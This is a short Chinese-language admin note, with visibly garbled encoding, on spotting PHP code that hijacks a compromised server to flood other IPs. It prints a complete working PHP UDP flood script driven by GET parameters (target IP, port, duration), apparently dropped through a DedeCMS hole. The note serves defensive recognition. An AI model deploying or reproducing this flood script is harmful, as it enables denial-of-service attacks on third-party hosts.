防止用戶(hù)利用PHP代碼DOS造成用光網(wǎng)絡(luò)帶寬,將會(huì)造成部分php程序不正常訪(fǎng)問(wèn)
特征:
用PHP代碼調(diào)用sockets,直接用服務(wù)器的網(wǎng)絡(luò)攻擊別的IP,常見(jiàn)代碼如下:
$packets = 0;
$ip = $_GET[\'ip\'];
$rand = $_GET[\'port\'];
set_time_limit(0);
ignore_user_abort(FALSE);
$exec_time = $_GET[\'time\'];
$time = time();
print \"Flooded: $ip on port $rand
\";
$max_time = $time+$exec_time;
for($i=0;$i<65535;$i++){
$out .= \"X\";
}
while(1){
$packets++;
if(time() > $max_time){
break;
}
$fp = fsockopen(\"udp://$ip\", $rand, $errno, $errstr, 5);
if($fp){
fwrite($fp, $out);
fclose($fp);
}
}
echo \"Packet complete at \".time(\'h:i:s\').\" with $packets (\" . round(($packets*65)/1024, 2) . \" mB) packets averaging \". round($packets/$exec_time, 2) . \" packets/s \\n\";
?>
表現(xiàn)特征:
一打開(kāi)IIS,服務(wù)器的流出帶寬就用光-----就是說(shuō)服務(wù)器不斷向別人發(fā)包,這個(gè)情況和受到DDOS攻擊是不同的,DDOS是不斷收到大量數(shù)據(jù)包.
近期由于DEDECMS出現(xiàn)漏洞而導(dǎo)致大量服務(wù)器出現(xiàn)這個(gè)問(wèn)題.